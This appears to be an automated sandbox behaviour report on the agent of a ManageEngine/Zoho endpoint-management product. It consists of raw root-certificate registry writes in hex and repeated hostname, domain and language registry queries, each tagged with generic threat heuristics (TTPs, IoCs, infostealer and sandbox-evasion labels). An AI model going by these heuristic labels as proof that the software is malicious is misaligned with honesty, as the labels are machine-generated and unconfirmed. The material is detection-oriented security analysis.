1900000001000000100000009483285b20fccdb265fe95c3f298f3931400000001000000140000003d874f7efdd7efadad247fc5f223b72cb0b5b3c303000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c60f00000001000000200000008744aef40e3c0b9906780d463c9275f3a03c313ed0c0bfa06d277b90d7e54f4c2000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcpatchscan.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85\Blob = 5900000001000000100000005200530041002f004d00440035000000140000000100000014000000344f302d25693191eaf7735cabf5868d378240ec030000000100000014000000245c97df7514e7cf2df8be72ae957b9e04741e8509000000010000000c000000300a06082b060105050703080b00000001000000320000004d006900630072006f0073006f00660074002000540069006d0065007300740061006d007000200052006f006f00740000000f00000001000000100000009df0d13100123aeca770130f4ad8d2091900000001000000100000007fdff50729446710244a447ca2a197ea2000000001000000b1020000308202ad30820216020101300d06092a864886f70d010104050030819e3120301e060355040a13174d6963726f736f6674205472757374204e6574776f726b311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e312d302b060355040b13244d6963726f736f66742054696d65205374616d70696e67205365727669636520526f6f74312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e301e170d3937303531333136313235395a170d3939313233303233353935395a30819e3120301e060355040a13174d6963726f736f6674205472757374204e6574776f726b311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e312d302b060355040b13244d6963726f736f66742054696d65205374616d70696e67205365727669636520526f6f74312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e30819f300d06092a864886f70d010101050003818d0030818902818100b75a38f51f37cca943c4dc2418bef28552b41d5b5f18b90b8f4b6da8ffcd40506cd3a0d35c47c2b9f786e4cd7d350569371faf3ddd1ffd8f1534c2c479cc59748a6f8c0ec3e811eb8438479853e1f10c0de4010cf01b1e20da2a7a3dc215528e8aff7b32bf581e25988326cb8ac9c4071424bc499ed77ab3871a2533bc6d08470203010001300d06092a864886f70d010104050003818100505bc56b6f8d525b0dc9bdac347398ca0a87caae4c4aba14a4eb52709521e0b5a1604ef743025101af1e3a70cebf18b686289967eb08e897405c1682fdb825fb366f6f763ec54c8ee2a751facac163ba5e8324470b9372f6449acea7953a8f50109e1db15916abcf3edf838bc7fac36bdc649f402b1f452404ae492ff6df0c91 dcinventory.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 03000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c62000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 1400000001000000140000003d874f7efdd7efadad247fc5f223b72cb0b5b3c303000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c60f00000001000000200000008744aef40e3c0b9906780d463c9275f3a03c313ed0c0bfa06d277b90d7e54f4c2000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 1900000001000000100000008173bf5e0e9c54ebcbad0ab8727630dc0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b50300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5900000001000000160000005200530041002f00530048004100320035003600000014000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 dcinventory.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcconfig.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 35 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname DCProcessMonitor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcnacprocess.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcpatchscan.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain DCProcessMonitor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname meaap.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain vmware-vmx.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname meaap.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcpatchscan.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname vmware-vmx.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcswmeter.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcuploadlogs.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcusbsummary.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcnacprocess.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language meaaphelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CRU_Reporter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language systeminfo.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language meaaphelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language meaap.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcuploadlogs.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe - Checks SCSI registry key(s) 3 TTPs 24 IoCs
SCSI information is often read in order to detect sandboxing environments.
